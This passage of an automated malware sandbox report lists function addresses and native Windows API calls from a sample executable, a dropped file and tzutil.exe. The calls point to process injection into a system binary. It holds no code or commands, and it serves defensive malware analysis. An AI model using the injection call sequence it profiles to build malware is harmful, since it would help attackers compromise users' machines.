Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2C20 NtSetInformationFile,	2_2_015A2C20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2CD0 NtEnumerateKey,	2_2_015A2CD0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2CF0 NtDelayExecution,	2_2_015A2CF0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2F00 NtCreateFile,	2_2_015A2F00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2F30 NtOpenDirectoryObject,	2_2_015A2F30
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2FB0 NtSetValueKey,	2_2_015A2FB0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2E50 NtCreateSection,	2_2_015A2E50
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2E00 NtQueueApcThread,	2_2_015A2E00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2ED0 NtResumeThread,	2_2_015A2ED0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2EC0 NtQuerySection,	2_2_015A2EC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2E80 NtCreateProcessEx,	2_2_015A2E80
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2EB0 NtProtectVirtualMemory,	2_2_015A2EB0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A38D0 NtGetContextThread,	2_2_015A38D0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A3C30 NtOpenProcessToken,	2_2_015A3C30
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A3C90 NtOpenThread,	2_2_015A3C90
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03154260 NtSetContextThread,LdrInitializeThunk,	4_2_03154260
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03154570 NtSuspendThread,LdrInitializeThunk,	4_2_03154570
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152B10 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_03152B10
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152B00 NtQueryValueKey,LdrInitializeThunk,	4_2_03152B00
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152B90 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_03152B90
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152B80 NtCreateKey,LdrInitializeThunk,	4_2_03152B80
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152BC0 NtQueryInformationToken,LdrInitializeThunk,	4_2_03152BC0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152A10 NtWriteFile,LdrInitializeThunk,	4_2_03152A10
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152A80 NtClose,LdrInitializeThunk,	4_2_03152A80
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152AC0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_03152AC0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031529F0 NtReadFile,LdrInitializeThunk,	4_2_031529F0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152F00 NtCreateFile,LdrInitializeThunk,	4_2_03152F00
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152E00 NtQueueApcThread,LdrInitializeThunk,	4_2_03152E00
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152E50 NtCreateSection,LdrInitializeThunk,	4_2_03152E50
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152ED0 NtResumeThread,LdrInitializeThunk,	4_2_03152ED0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152D10 NtQuerySystemInformation,LdrInitializeThunk,	4_2_03152D10
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152DA0 NtReadVirtualMemory,LdrInitializeThunk,	4_2_03152DA0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152C30 NtMapViewOfSection,LdrInitializeThunk,	4_2_03152C30
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152C50 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_03152C50
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152CF0 NtDelayExecution,LdrInitializeThunk,	4_2_03152CF0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031534E0 NtCreateMutant,LdrInitializeThunk,	4_2_031534E0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031538D0 NtGetContextThread,LdrInitializeThunk,	4_2_031538D0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152B20 NtQueryInformationProcess,	4_2_03152B20
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152BE0 NtQueryVirtualMemory,	4_2_03152BE0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152AA0 NtQueryInformationFile,	4_2_03152AA0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031529D0 NtWaitForSingleObject,	4_2_031529D0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152F30 NtOpenDirectoryObject,	4_2_03152F30
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152FB0 NtSetValueKey,	4_2_03152FB0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152E80 NtCreateProcessEx,	4_2_03152E80
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152EB0 NtProtectVirtualMemory,	4_2_03152EB0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152EC0 NtQuerySection,	4_2_03152EC0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152D50 NtWriteVirtualMemory,	4_2_03152D50
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152DC0 NtAdjustPrivilegesToken,	4_2_03152DC0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152C10 NtOpenProcess,	4_2_03152C10
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152C20 NtSetInformationFile,	4_2_03152C20
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03152CD0 NtEnumerateKey,	4_2_03152CD0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03153C30 NtOpenProcessToken,	4_2_03153C30
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03153C90 NtOpenThread,	4_2_03153C90
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_00839480 NtCreateFile,	4_2_00839480
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_008395F0 NtReadFile,	4_2_008395F0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_008396E0 NtDeleteFile,	4_2_008396E0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_00839780 NtClose,	4_2_00839780
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_008398E0 NtAllocateVirtualMemory,	4_2_008398E0

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_0288DDE4	0_2_0288DDE4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_06C497F3	0_2_06C497F3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_06C4A068	0_2_06C4A068
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_06C4BCA0	0_2_06C4BCA0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_06C49C30	0_2_06C49C30
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_06C46BF0	0_2_06C46BF0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_06C4B868	0_2_06C4B868
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_076C038C	0_2_076C038C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_076C2728	0_2_076C2728
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_076C0386	0_2_076C0386
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_076C3940	0_2_076C3940
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_004189C3	2_2_004189C3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0041021B	2_2_0041021B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00401220	2_2_00401220
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00410223	2_2_00410223
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_004022DE	2_2_004022DE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_004022E0	2_2_004022E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00416BCE	2_2_00416BCE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00416BD3	2_2_00416BD3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00410443	2_2_00410443
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0040E463	2_2_0040E463
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0040E5B3	2_2_0040E5B3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0040262C	2_2_0040262C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00402630	2_2_00402630
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00402F50	2_2_00402F50
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0042EF23	2_2_0042EF23
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0163010E	2_2_0163010E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0161E076	2_2_0161E076
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015600A0	2_2_015600A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157E310	2_2_0157E310
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0163A526	2_2_0163A526
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570445	2_2_01570445
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01626757	2_2_01626757
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157A760	2_2_0157A760
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01572760	2_2_01572760
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01594670	2_2_01594670
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158C600	2_2_0158C600
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162A6C0	2_2_0162A6C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156C6E0	2_2_0156C6E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162E9A6	2_2_0162E9A6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01556868	2_2_01556868
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E810	2_2_0159E810
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01586882	2_2_01586882
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0160C89F	2_2_0160C89F
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570B10	2_2_01570B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E4BC0	2_2_015E4BC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162EA5B	2_2_0162EA5B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162CA13	2_2_0162CA13
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570D69	2_2_01570D69
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156AD00	2_2_0156AD00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01582DB0	2_2_01582DB0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162EC60	2_2_0162EC60
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01626C69	2_2_01626C69
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0161EC4C	2_2_0161EC4C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01560C12	2_2_01560C12
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157AC20	2_2_0157AC20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EEC20	2_2_015EEC20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01588CDF	2_2_01588CDF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0163ACEB	2_2_0163ACEB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157CF00	2_2_0157CF00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01576FE0	2_2_01576FE0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162EFBF	2_2_0162EFBF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01590E50	2_2_01590E50
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610E6D	2_2_01610E6D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015B2E48	2_2_015B2E48
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01562EE8	2_2_01562EE8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01620EAD	2_2_01620EAD
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015B717A	2_2_015B717A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155F113	2_2_0155F113
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0160D130	2_2_0160D130
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015751C0	2_2_015751C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158B1E0	2_2_0158B1E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157B0D0	2_2_0157B0D0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016270F1	2_2_016270F1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A508C	2_2_015A508C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162F330	2_2_0162F330
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01561380	2_2_01561380
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162124C	2_2_0162124C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155D2EC	2_2_0155D2EC
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016275C6	2_2_016275C6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162F5C9	2_2_0162F5C9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DD480	2_2_015DD480
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01605490	2_2_01605490
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0161D646	2_2_0161D646
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0160D62C	2_2_0160D62C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162F6F6	2_2_0162F6F6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E36EC	2_2_015E36EC
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015B59C0	2_2_015B59C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162F872	2_2_0162F872
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01579870	2_2_01579870
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158B870	2_2_0158B870
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E5870	2_2_015E5870
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01573800	2_2_01573800
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016278F3	2_2_016278F3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016218DA	2_2_016218DA
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E98B2	2_2_015E98B2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015ADB19	2_2_015ADB19
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162FB2E	2_2_0162FB2E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01601B80	2_2_01601B80
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162FA89	2_2_0162FA89
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158FAA0	2_2_0158FAA0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01627D4C	2_2_01627D4C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162FD27	2_2_0162FD27
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01579DD0	2_2_01579DD0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0160FDF4	2_2_0160FDF4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01573C60	2_2_01573C60
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F7CE8	2_2_015F7CE8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158FCE0	2_2_0158FCE0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01609C98	2_2_01609C98
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162FF63	2_2_0162FF63
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EFF40	2_2_015EFF40
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01621FC6	2_2_01621FC6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01629ED2	2_2_01629ED2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01571EB2	2_2_01571EB2
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03290A26	3_2_03290A26
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03290BCD	3_2_03290BCD
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03290A7D	3_2_03290A7D
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03292A5D	3_2_03292A5D
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_032991E8	3_2_032991E8
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_032991ED	3_2_032991ED
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_0329283D	3_2_0329283D
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03292835	3_2_03292835
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_0329AFDD	3_2_0329AFDD
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_032B153D	3_2_032B153D
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0312E310	4_2_0312E310
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_030E2245	4_2_030E2245
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031E010E	4_2_031E010E
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031CE076	4_2_031CE076
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031100A0	4_2_031100A0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D6757	4_2_031D6757
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03122760	4_2_03122760
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0312A760	4_2_0312A760
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0313C600	4_2_0313C600
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03144670	4_2_03144670
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03120680	4_2_03120680
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DA6C0	4_2_031DA6C0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0311C6E0	4_2_0311C6E0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031EA526	4_2_031EA526
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03120445	4_2_03120445
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03120B10	4_2_03120B10
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03194BC0	4_2_03194BC0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DCA13	4_2_031DCA13
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DEA5B	4_2_031DEA5B
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031C2AC0	4_2_031C2AC0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0311E9A0	4_2_0311E9A0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DE9A6	4_2_031DE9A6
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0314E810	4_2_0314E810
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031C0835	4_2_031C0835
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03106868	4_2_03106868
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031BC89F	4_2_031BC89F
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03136882	4_2_03136882
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031228C0	4_2_031228C0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0312CF00	4_2_0312CF00
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DEFBF	4_2_031DEFBF
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03126FE0	4_2_03126FE0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03140E50	4_2_03140E50
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03162E48	4_2_03162E48
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031C0E6D	4_2_031C0E6D
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D0EAD	4_2_031D0EAD
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03112EE8	4_2_03112EE8
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0311AD00	4_2_0311AD00
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03120D69	4_2_03120D69
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03132DB0	4_2_03132DB0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03110C12	4_2_03110C12
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0312AC20	4_2_0312AC20
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0319EC20	4_2_0319EC20
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031CEC4C	4_2_031CEC4C
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D6C69	4_2_031D6C69
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DEC60	4_2_031DEC60
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03138CDF	4_2_03138CDF
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031EACEB	4_2_031EACEB
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DF330	4_2_031DF330
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03111380	4_2_03111380
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D124C	4_2_031D124C
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0310D2EC	4_2_0310D2EC
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0310F113	4_2_0310F113
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031BD130	4_2_031BD130
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0316717A	4_2_0316717A
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031251C0	4_2_031251C0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0313B1E0	4_2_0313B1E0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0315508C	4_2_0315508C
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0312B0D0	4_2_0312B0D0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D70F1	4_2_031D70F1
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031BD62C	4_2_031BD62C
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031C1623	4_2_031C1623
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031CD646	4_2_031CD646
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DF6F6	4_2_031DF6F6
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031936EC	4_2_031936EC
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DF5C9	4_2_031DF5C9
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D75C6	4_2_031D75C6
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031B5490	4_2_031B5490
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0318D480	4_2_0318D480
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0315DB19	4_2_0315DB19
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DFB2E	4_2_031DFB2E
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031B1B80	4_2_031B1B80
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DFA89	4_2_031DFA89
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0313FAA0	4_2_0313FAA0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031659C0	4_2_031659C0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_030E99E8	4_2_030E99E8
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03123800	4_2_03123800
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03129870	4_2_03129870
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0313B870	4_2_0313B870
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03195870	4_2_03195870
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DF872	4_2_031DF872
